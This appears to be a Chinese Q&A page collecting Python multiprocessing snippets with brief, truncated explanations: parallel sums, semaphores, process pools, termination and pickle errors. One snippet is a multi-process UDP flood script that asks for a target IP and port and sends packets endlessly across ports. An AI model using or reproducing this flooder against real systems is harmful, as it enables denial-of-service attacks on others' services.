if __name__ == '__main__': import multiprocessing import time def dance(): for i in range(3): print("跳舞中...") time.sleep(0.2) def sing(): for i in range(3): print("唱歌中...") time.sleep(0.2) dance_process = multiprocessing.Process(target=dance) sing_process = multiprocessing.Process(target=sing) dance_process.start() sing_process.start()

时间: 2023-06-04 07:06:50 浏览: 166
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linux dsp.rar_arm9_dsp gateway_dsp linux_gateway_linuxdsp tools

这是一个 Python 的多进程示例程序，其中包括两个函数 `dance()` 和 `sing()` 分别用于跳舞和唱歌，通过 `multiprocessing.Process` 创建两个进程分别执行这两个函数，可以同时跳舞和唱歌。
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import time import multiprocessing from multiprocessing import Manager def sum_range(start, end, result): total = 0 for i in range(start, end): total += i result.append(total) if __name__ == '__main__': start_time = time.time() manager = Manager() result = manager.list() t1 = multiprocessing.Process(target=sum_range,args=(1, 50000001, result)) t2 = multiprocessing.Process(target=sum_range, args=(50000001, 100000001, result)) t1.start() t2.start() t1.join() t2.join() total = sum(result) end_time = time.time() print("并行总和为:", total) print("并行用时:", end_time - start_time, "秒") start_time = time.time() result = [] sum_range(1,100000001,result) end_time = time.time() print("串行总和为:", result[0]) print("串行用时:", end_time - start_time, "秒")

这是一个使用 Python 的 multiprocessing 模块实现并行计算的例子，其中定义了一个函数 sum_range(start, end, result)，用于计算从 start 到 end 的整数之和，并将结果存储在 result 中。在主程序中，使用了 ...

import multiprocessing import time def tar1(args): for i in range(1,11,2): args += [i] def tar2(args): for i in range(2,11,2): args += [i] if __name__ == "__main__": sharng_list=multiprocessing.Manager().list() p1=multiprocessing.Process(target=tar1,args=(sharng_list,)) p2=multiprocessing.Process(target=tar2,args=(sharng_list,)) p2.start() p1.start() p1.join() p2.join() print(sharng_list)

这是一个用 Python 的 multiprocessing 模块实现的多进程程序。该程序创建了一个共享列表 sharng_list，并将它作为参数传递给两个进程 p1 和 p2。这两个进程分别执行函数 tar1 和 tar2，每个函数将一些数字添加到...

import time from multiprocessing import Process from multiprocessing import Manager def sum_range(start, end): total = 0 for i in range(start, end): total += i return total class MyProcess(Process): def __init__(self,st, end, result): self.st = st self.end = end self.result = result super().__init__() def run(self) -> None: total = 0 for i in range(self.st, self.end): total += i self.result.append(total) if __name__ == '__main__': start_time = time.time() manager = Manager() result = manager.list() t1 = MyProcess(1, 50000001,result) t2 = MyProcess(50000001,100000001,result) t1.start() t2.start() t1.join() t2.join() total = sum(result) end_time = time.time() print("并行总和为:", total) print("并行用时:", end_time - start_time, "秒") start_time = time.time() total = sum_range(1,100000001) end_time = time.time() print("串行总和为:", total) print("串行用时:", end_time - start_time, "秒")

它首先定义了一个 sum_range 函数，该函数接受两个参数 start 和 end，然后使用一个 for 循环计算这个范围内所有整数的和，并返回结果。然后它定义了一个名为 MyProcess 的子类，该类继承自 multiprocessing.Process...

def attack(P_num,ip,port): import sys import os import time import socket import random # Code Time from datetime import datetime now = datetime.now() hour = now.hour minute = now.minute day = now.day month = now.month year = now.year sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sent=0 while True: sock.sendto(bytes, (ip, port)) sent = sent + 1 port = port + 1 print("%s Proccess Sent %s packet to %s throught port:%s" % (P_num,sent, ip, port)) if port == 65534: port = 1 if __name__ == '__main__': import os from multiprocessing import Process ip = input("IP Target : ") port = int(input("Port : ")) num=input("并行数 :") list=[] for i in range(int(num)): p=Process(target=attack,args=(i,ip,port)) list.append(p) for i in list: i.start() for i in list: i.join()

这是一个Python函数，用于进行攻击。...在函数中，导入了一些必要的Python库，包括"sys"、"os"、"time"和"socket"等。同时，还导入了"random"库，用于生成随机数。 该函数的具体实现需要看更多代码。

import pickle def func(data): print(data) def worker(array): array = pickle.loads(array) pool = ThreadPoolExecutor(1) for a in array: pool.submit( func,a ) pool.shutdown(wait=True) if __name__ == '__main__': processes = [] data = [i for i in range(300)] data = pickle.dumps(data) for i in range(3): p = multiprocessing.Process(target=worker, args=(data[100*i:100*(i+1)],)) processes.append(p) p.start() for p in processes: p.join() _pickle.UnpicklingError: pickle data was truncated

这个错误是由于 pickle 数据被截断导致的。在这个代码中，您将数据分成三个部分，并在三个进程中处理它们。在这个过程中，有可能会发生数据被截断的情况，导致无法正确反序列化 pickle 数据。您可以尝试增加数据的...

解释代码import multiprocessing as mp if __name__ == '__main__': mp.set_start_method('spawn')

接着，if __name__ == '__main__':语句判断当前程序是否在主模块中运行。这样做的目的是为了避免在子进程中再次运行主程序，从而导致无限递归的问题。 最后，mp.set_start_method('spawn')语句设置了当前程序使用的...

def func(data): print(data) def worker(array): pool = ThreadPoolExecutor(1) for a in array: pool.submit( func,a ) if __name__ == '__main__': processes = [] data = [i for i in range(300)] for i in range(3): p = multiprocessing.Process(target=worker,args=(data[100*i:100*(i+1)],)) processes.append(p) p.start() for p in processes: p.join() Typeerror cannot serializer '_io.BufferedReader' object

for i in range(3): p = multiprocessing.Process(target=worker, args=(serialized_data,)) processes.append(p) p.start() for p in processes: p.join() 在这个修改后的代码中，我们首先使用pickle...

from multiprocessing import Process def f(name): print('hello', name) if __name__ == '__main__': p = Process(target=f, args=('bob',)) p.start() p.join()

这是一个使用 Python 的 multiprocessing 模块创建进程的代码示例。在这个例子中，首先定义了一个函数 f，它接受一个参数 name，打印出 "hello" 和 name。然后，在主程序中创建了一个 Process 对象 p，它的 target ...

改错import time from multiprocessing import process class Myprocess(process): def __init__(self,name): super().__init__() # 调用父类的构造方法? self.name=name def run(self) ->None: print(f"a进程ID:{self.pid}") time.sleep(5) if __name__=="__main__": pi = Myprocess("进程1") p2 = Myprocess("进程2") pi.start() p2.start()

if __name__ == "__main__": p1 = MyProcess("进程1") p2 = MyProcess("进程2") p1.start() p2.start() p1.join() p2.join() 修改的内容包括： 1. 将process改为Process，因为类名应该首字母大写。 ...

from multiprocessing import Pool import os def worker(arg): print("begin: %s" % (str(arg))) if __name__ == "__main__": po = Pool(10) # 定义进程池，最大进程为10 for i in range(100): po .apply_async(worker, (i, )) po.close() po.join()

这段代码是使用 multiprocessing 模块创建一个进程池，最大进程数为 10。然后通过 apply_async 方法异步地向进程池中提交任务，每个任务都是调用 worker 函数，并传入一个参数 i。 需要注意的是，由于 ...

def main(): jiaoben=index.zhuxunhuanlei() jinchengs=[] for xu in range(len(xuhao)): jincheng=multiprocessing.Process(target=jiaoben.zhuxunhuan,args=(xuhao[xu],)) jinchengs.append(jincheng) jincheng.start() time.sleep(5) for jincheng in jinchengs: jincheng.join() if __name__ == '__main__': multiprocessing.freeze_support() main() 中我要终止其中的一个进程如何中止

for i in range(5): p = multiprocessing.Process(target=child_process, args=(i,)) processes.append(p) p.start() # 终止第二个子进程 processes[1].terminate() # 等待所有子进程结束 for p in processes: ...

import multiprocessing import datetime import time def worker(semaphore, count): semaphore.acquire() now = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S') try: print(f"{now}: Work {count} is working... 剩余信号量：{semaphore.get_value()}") finally: time.sleep(10) semaphore.release() if __name__ == '__main__': manager = multiprocessing.Manager() # 指定信号量为3 semaphores = manager.Semaphore(3) workers = [] for i in range(10): worker_process = multiprocessing.Process(target=worker, args=(semaphores, i)) workers.append(worker_process) worker_process.start() 执行报错 FileNotFoundError: [WinError 2] 系统找不到指定的文件。

for i in range(10): worker_process = multiprocessing.Process(target=worker, args=(semaphores, i)) workers.append(worker_process) worker_process.start() 将主程序部分放在if __name__ == '__main_...

def main(): jiaoben=index.zhuxunhuanlei() jinchengs=[] for xu in range(10): jincheng=multiprocessing.Process(target=jiaoben.zhuxunhuan,args=(xuhao[xu],)) jinchengs.append(jincheng) jincheng.start() for jincheng in jinchengs: jincheng.join() if __name__ == '__main__': main() 报错

1. NameError: name 'index' is not defined 这个错误通常是因为您没有导入必要的模块或类。请确保您已经导入了所有需要的模块，并且代码中的变量和函数名正确。 2. TypeError: 'module' object is not callable ...

import index import multiprocessing import time xuhao = ['emulator-5556', 'emulator-5558', 'emulator-5560', 'emulator-5562', 'emulator-5564', 'emulator-5566', 'emulator-5568', 'emulator-5570', 'emulator-5572', 'emulator-5574', 'emulator-5576', 'emulator-5578'] def main(): jiaoben=index.zhuxunhuanlei() jinchengs=[] for xu in range(len(xuhao)): jincheng=multiprocessing.Process(target=jiaoben.zhuxunhuan,args=(xuhao[xu],)) jinchengs.append(jincheng) jincheng.start() time.sleep(5) for jincheng in jinchengs: jincheng.join() if __name__ == '__main__': multiprocessing.freeze_support() main() 终止所启动的进程

for jincheng in jinchengs: jincheng.terminate() 在这个例子中，jinchengs列表包含了所有启动的进程。遍历该列表，逐个调用进程的terminate()方法，即可终止所有进程。注意，如果某个进程正在执行任务，可能...

import multiprocessing import datetime import time def worker(semaphore, count): semaphore.acquire() now = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S') try: print(f"{now}: Work {count} is working...") finally: time.sleep(10) semaphore.release() if __name__ == '__main__': # 指定信号量为3 semaphores = multiprocessing.Semaphore(3) workers = [] for i in range(10): worker_process = multiprocessing.Process(target=worker, args=(semaphores, i)) # 获取当前剩余的信号量 print(f"剩余信号量：{semaphores.value}") workers.append(worker_process) worker_process.start()

在if __name__ == '__main__':块中，我们首先定义了一个初始值为3的信号量对象semaphores，表示最多只能有3个进程同时访问共享资源。然后，我们创建10个进程，每个进程都调用worker函数，并传入semaphores...

改进""" 创建进程的步骤 1.导入模块multiprocessing 2.创建process的对象 3.调用stratU()启动进程 """ from multiprocessing import Process import time def outputNumbers(): for i in range(100): print(i) time.sleep(0.5) def showTime(): # timetuple=(2023,5,27,1,1,1,1,1) while True: print(time.strftime("%Y-%m-%d,%i:%m:%S",time.localtime())) time.sleep(0.5) def dance(): while True: print("dongc ci da ci") time.sleep(1) if __name__=="__main__": p1=Process(target=outputNumbers,daemon=True) # 设置进程为守护进程，结束时主进程结束子进程结束 p2=Process(target=showTime,daemon=True) p1.start() p2.start() dance() print("主进程结束")

for i in range(100): print(i) time.sleep(0.5) def showTime(): while True: print(time.strftime("%Y-%m-%d,%i:%m:%S",time.localtime())) time.sleep(0.5) def dance(): while True: print("dongc ci ...

xuhao = [device.split('\t')[0] for device in adb_devices if 'emulator' in device] def main(): jiaoben=index.zhuxunhuanlei() jinchengs=[] for xu in range(len(xuhao)): jincheng=multiprocessing.Process(target=jiaoben.zhuxunhuan,args=(xuhao[xu],)) jinchengs.append(jincheng) jincheng.start() for jincheng in jinchengs: jincheng.join() if __name__ == '__main__': multiprocessing.freeze_support() main() 获取子进程的数据并打印

device_ids = [device.split('\t')[0] for device in adb_devices if 'emulator' in device] processes = [] results = multiprocessing.Queue() for device_id in device_ids: process = multiprocessing....

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